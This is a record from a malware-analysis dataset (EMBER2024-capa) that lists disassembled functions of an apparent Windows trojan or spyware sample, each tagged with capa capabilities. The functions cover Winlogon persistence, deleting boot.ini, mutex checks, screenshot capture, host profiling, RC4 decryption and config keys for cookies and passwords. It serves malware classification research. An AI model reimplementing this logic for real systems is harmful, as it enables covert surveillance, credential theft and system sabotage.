joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f8a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x20a
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [ebp - 8], eax
push 0x20a
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [ebp - 0xc], eax
push 0x104
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.MSVCRT.dll_wcsncpy]
add esp, 0xc
push 0xb
push 0x414dec
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.MSVCRT.dll_wcsncmp]
add esp, 0xc
test eax, eax
jne 0x40201c
mov eax, dword [ebp - 8]
add eax, 0x16
mov dword [ebp - 4], eax
push 0x208
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 8
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
jmp 0x40205f
push 4
push str.___
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.MSVCRT.dll_wcsncmp]
add esp, 0xc
test eax, eax
jne 0x40205f
mov ecx, dword [ebp - 8]
add ecx, 8
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x4030d2
Capabilities:
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x4173ec
push 0xa
push 0xa
mov ecx, 0x4173b4
call sub.MFC42.DLL_CString::GetBuffer
push eax
push str.2541075
push 0x41506c
push str.General
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
push 0x4173ec
push 0
push str.selfk
push str.General
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntA]
mov dword [0x417398], eax
push 0x4173ec
push 0
push 0x40f408
push str.General
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntA]
mov dword [0x417290], eax
push 0x4173ec
push 0xff
push 0xff
mov ecx, 0x4173ac
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0x41b19c
push 0x415078
push str.General
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
push 0xffffffffffffffff
mov ecx, 0x4173ac
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x4173ec
push 0xff
push 0xff
mov ecx, 0x4173b0
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0x41b1a0
push str.hsts
push str.General
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
push 0xffffffffffffffff
mov ecx, 0x4173b0
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x4173ec
push 0xf
push 0x415084
push str.General
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntA]
mov dword [0x4173a8], eax
push 0x4173ec
push 0
push str.p_lst
push str.General
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntA]
mov dword [0x4173a4], eax
mov dword [ebp - 0xc], 4
push 0x4173ec
push 0xff
push 0xff
mov ecx, 0x4173c0
call sub.MFC42.DLL_CString::GetBuffer
push eax
push str.RPUNRPYNQWXNRUQ
push 0x415090
push str.General
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
push 0xffffffffffffffff
mov ecx, 0x4173c0
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x4173ec
push 0
push str.cook
push str.General
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntA]
mov dword [0x4173a0], eax
push 0x4173ec
push 0
push str.pswd
push str.General
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntA]
mov dword [0x41739c], eax
push 0xff
push 0x417298
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str.divx.ini
push 0x417298
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x4173ec
push 0
push 0x4150b0
push str.General
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntA]
mov word [0x4173bc], ax
push 0x4173ec
push 0xff
push 0xff
mov ecx, 0x417294
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0x41b1a4
push 0x4150b4
push str.General
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
push 0xffffffffffffffff
mov ecx, 0x417294
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x4173ec
call fcn.00401777
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x403337
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 8], eax
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov esp, ebp
pop ebp
ret

Function at 0x403377
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x411028
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4033cd
push 4
lea ecx, [ebp + 8]
push ecx
push 4
push 0
push 0x411034
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
push 0x411130
push 4
push 0
push 0x411038
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x403973
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0
push 0x104
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str.xvid.dll
lea ecx, [ebp - 0x100]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
lea edx, [ebp - 0x100]
push edx
call fcn.00401f51
add esp, 4
test eax, eax
jne 0x4039f1
push 0x1000
lea eax, [ebp - 0x100]
push eax
push 0x411150
call fcn.00404193
add esp, 0xc
lea ecx, [ebp - 0x100]
push ecx
call fcn.00401777
add esp, 4
lea edx, [ebp - 0x100]
push edx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
je 0x403a27
push str.decode
mov eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x104], eax
jmp 0x403a29
jmp 0x403a43
cmp dword [ebp - 0x104], 0
jne 0x403a34
jmp 0x403a43
push 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
call dword [ebp - 0x104]
mov esp, ebp
pop ebp
ret
Function at 0x404007
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x580
mov dword [ebp - 0x578], 0
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x10c], 0
push 0xff
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea ecx, [ebp - 0x474]
push ecx
lea edx, [ebp - 0x100]
push edx
lea eax, [ebp - 0x574]
push eax
lea ecx, [ebp - 0x580]
push ecx
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.MSVCRT.dll__splitpath]
add esp, 0x14
call fcn.0040c250
push eax
lea eax, [ebp - 0x374]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x415304
lea ecx, [ebp - 0x100]
push ecx
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x4040db
push 0x104
lea edx, [ebp - 0x574]
push edx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x41104c
lea eax, [ebp - 0x574]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
lea ecx, [ebp - 0x574]
push ecx
call fcn.00401e48
add esp, 4
push str._Toolbar_Class_32
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [ebp - 0x578], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x40411d
call fcn.0040564f
mov edx, dword [0x41b034]
cmp edx, dword [0x411130]
jge 0x404115
call fcn.00403a47
push 0
call dword [sym.imp.MSVCRT.dll_exit]
push str.lsass
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
je 0x40418f
push str.userinit
lea ecx, [ebp - 0x100]
push ecx
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
je 0x40418f
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00403d06
add esp, 4
push str.SYST
lea edx, [ebp - 0x374]
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x404182
push SysReAllocString
call fcn.00403d06
add esp, 4
call fcn.004042cd
push 0
call dword [sym.imp.MSVCRT.dll_exit]
mov esp, ebp
pop ebp
ret
Function at 0x4047a8
Capabilities:
Check for time delay via gettickcount
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push str.unknown
lea eax, [ebp - 0x90]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
call dword [sym.imp.KERNEL32.DLL_GetSystemDefaultLCID]
mov dword [ebp - 0x78], eax
push 0x64
lea ecx, [ebp - 0x70]
push ecx
push 0x1001
mov edx, dword [ebp - 0x78]
push edx
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoA]
mov dword [ebp - 8], 0
push 0x200
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x84], eax
call fcn.0040470c
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x9c], ecx
cmp dword [ebp - 0x9c], 3
ja case.default.0x404829
mov edx, dword [ebp - 0x9c]
jmp dword [edx*4 + 0x4049a8]
mov eax, 0x80004003
jmp 0x4049a4
push str.modem
lea eax, [ebp - 0x90]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp case.default.0x404829
push 0x4154c0
lea ecx, [ebp - 0x90]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp case.default.0x404829
push 0x4154c4
lea edx, [ebp - 0x90]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cdq
mov ecx, 0x15180
idiv ecx
mov eax, edx
cdq
mov ecx, 0xe10
idiv ecx
mov eax, edx
cdq
mov ecx, 0x3c
idiv ecx
push eax
mov eax, dword [ebp - 4]
cdq
mov ecx, 0x15180
idiv ecx
mov eax, edx
cdq
mov ecx, 0xe10
idiv ecx
push eax
mov eax, dword [ebp - 4]
cdq
mov ecx, 0x15180
idiv ecx
push eax
lea edx, [ebp - 0x90]
push edx
lea eax, [ebp - 0x70]
push eax
call fcn.0040c250
push eax
push str.O_6.8_C
push str.version_susername_slanguage_sconection_suptime_ddays__dh:_dm_
mov ecx, dword [ebp - 0x84]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x24
mov edx, dword [ebp - 0x84]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov dword [ebp - 0x7c], eax
cmp dword [ebp + 8], 0
jne 0x404919
mov eax, 0x80004003
jmp 0x4049a4
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov ecx, dword [ebp - 0x7c]
push ecx
push 0
push 0x11
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jne 0x404941
mov eax, 0x8007000e
jmp 0x4049a4
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x80]
push eax
call dword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x7c]
push ecx
mov edx, dword [ebp - 0x84]
push edx
mov eax, dword [ebp - 0xc]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 0x80]
push ecx
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
mov dword [ebp - 0x74], eax
mov edx, dword [ebp + 8]
mov word [edx], 0x2011
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x80]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x98], edx
mov eax, dword [ebp - 0x98]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4049b8
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
push 1
push 0x415510
push 0x41114c
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x4049fd
push 8
push 1
push 0x41553c
push 0x41114c
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x4049fd
xor eax, eax
jmp 0x404ad7
lea edx, [ebp - 8]
push edx
push 2
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGetUserKey]
test eax, eax
jne 0x404a63
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x8009000d
jne 0x404a53
lea ecx, [ebp - 8]
push ecx
push 0
push 2
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
jne 0x404a47
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
jmp 0x404ad7
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
jmp 0x404a63
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
jmp 0x404ad7
lea eax, [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptGetUserKey]
test eax, eax
jne 0x404ac6
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x8009000d
jne 0x404ab6
lea edx, [ebp - 8]
push edx
push 0
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
jne 0x404aaa
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
jmp 0x404ad7
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
jmp 0x404ac6
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
jmp 0x404ad7
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x404adb
Capabilities:
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push edi
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x34], 0
mov al, byte [0x41b1a8]
mov byte [ebp - 0x20], al
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x1f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 1
push 0
push 0x41114c
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x404c2d
lea edx, [ebp - 0x34]
push edx
push 0
push 0
push 0x8003
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x404c1a
mov ecx, dword [ebp + 0x10]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0x2c], eax
push 0
mov edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x404c07
lea edx, [ebp - 0x38]
push edx
push 1
mov eax, dword [ebp - 0x34]
push eax
push 0x6801
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x404bfe
mov edx, dword [ebp + 8]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x20]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x20]
push eax
push 0
push 1
push 0
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x404be2
mov dword [ebp - 0x30], 0
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x404c05
mov dword [ebp - 0x30], 0
jmp 0x404c0e
mov dword [ebp - 0x30], 0
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x404c21
mov dword [ebp - 0x30], 0
push 0
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 0x30]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40564f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x44], 4
lea eax, [ebp - 0x40]
push eax
push 1
push 0
push 0x411028
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4056e3
mov dword [ebp - 0x48], 4
lea ecx, [ebp - 0x48]
push ecx
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x44]
push eax
push 0
push 0x411034
mov ecx, dword [ebp - 0x40]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4056ad
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x38], edx
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x44]
push edx
push 0
push 0x411038
mov eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4056d9
mov ecx, dword [ebp - 0x3c]
mov dword [0x41b034], ecx
jmp 0x4056e3
mov dword [0x41b034], 0
mov edx, dword [ebp - 0x40]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x38]
mov esp, ebp
pop ebp
ret
Function at 0x406140
Capabilities:
Manipulate boot configuration

Disassembly:
push ebp
mov ebp, esp
push 0x415758
push str.UIHost
push 0x411094
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00401afd
add esp, 0x10
push 0x415764
push str.Userinit
push 0x411094
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00401afd
add esp, 0x10
push 0x415774
push str.Shell
push 0x411094
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00401afd
add esp, 0x10
push str.c:_boot.ini
call dword [sym.imp.MSVCRT.dll__unlink]
add esp, 4
pop ebp
ret
Function at 0x406821
Capabilities:
Get common file path
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
push 0x417298
call fcn.00401ab1
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x800
jle 0x406a58
cmp dword [ebp - 4], 0x64000
jle 0x406a33
push ReleaseDC
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x234], eax
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x114], 0
push 0
push 0x80
push 3
push 0
push 0
push SysReAllocString
push 0x417298
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jne 0x4068bc
jmp 0x406a58
push 0
lea ecx, [ebp - 0x114]
push ecx
push EnumWindows
mov edx, dword [ebp - 0x110]
push edx
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [ebp - 0x114], 0
je 0x4069fd
push 0xff
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str._spool_
lea edx, [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.MSVCRT.dll_tmpnam]
add esp, 4
lea ecx, [ebp - 0x230]
push ecx
lea edx, [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.tmp.tmp
lea eax, [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
mov dword [ebp - 0x220], 0
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x406982
jmp 0x406a58
push 0
lea edx, [ebp - 0x220]
push edx
mov eax, dword [ebp - 0x114]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
lea eax, [ebp - 0x114]
push eax
push EnumWindows
mov ecx, dword [ebp - 0x110]
push ecx
mov edx, dword [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [ebp - 0x10c]
push ecx
call fcn.004062d2
add esp, 4
and eax, 0xff
cmp eax, 1
jne 0x4069f8
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.MSVCRT.dll__unlink]
add esp, 4
jmp 0x4068de
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x417298
call dword [sym.imp.MSVCRT.dll__unlink]
add esp, 4
mov ecx, dword [ebp - 0x110]
mov dword [ebp - 0x238], ecx
mov edx, dword [ebp - 0x238]
push edx
call sub.MFC42.DLL_operatordelete
add esp, 4
push 0x417298
call fcn.004062d2
add esp, 4
and eax, 0xff
cmp eax, 1
jne 0x406a58
push 0x417298
call dword [sym.imp.MSVCRT.dll__unlink]
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x40adef
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 4], 0
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0xc], eax
push 1
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x10], eax
push 0
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
je 0x40af5d
push 0
push 0
push 0
lea ecx, [ebp - 0x2c]
call fcn.0040d100
push 0
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x1c]
push edx
call sub.gdiplus.dll_GdiplusStartup
push 0
mov eax, dword [ebp - 0x18]
push eax
call fcn.0040d3c0
add esp, 8
mov dword [ebp - 0x68], eax
push 0
push 0
push 0x258
push 0x320
mov ecx, dword [ebp - 0x68]
call fcn.0040d1a0
mov dword [ebp - 0x54], eax
lea ecx, [ebp - 4]
push ecx
push 1
push 0
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov dword [ebp - 0x30], 0x32
mov dword [ebp - 0x50], 1
mov edx, dword [0x40f5d4]
mov dword [ebp - 0x4c], edx
mov eax, dword [0x40f5d8]
mov dword [ebp - 0x48], eax
mov ecx, dword [0x40f5dc]
mov dword [ebp - 0x44], ecx
mov edx, dword [0x40f5e0]
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x38], 4
mov dword [ebp - 0x3c], 1
lea eax, [ebp - 0x30]
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x64]
push ecx
push str.image_jpeg
call fcn.0040af7a
add esp, 8
cmp dword [ebp - 4], 0
je 0x40af54
lea edx, [ebp - 0x50]
push edx
lea eax, [ebp - 0x64]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 0x54]
call fcn.0040d140
test eax, eax
je 0x40af54
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov ecx, dword [ebp - 4]
push ecx
call dword [eax + 8]
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x1c]
push edx
call sub.gdiplus.dll_GdiplusShutdown
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, dword [ebp - 8]
push ecx
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret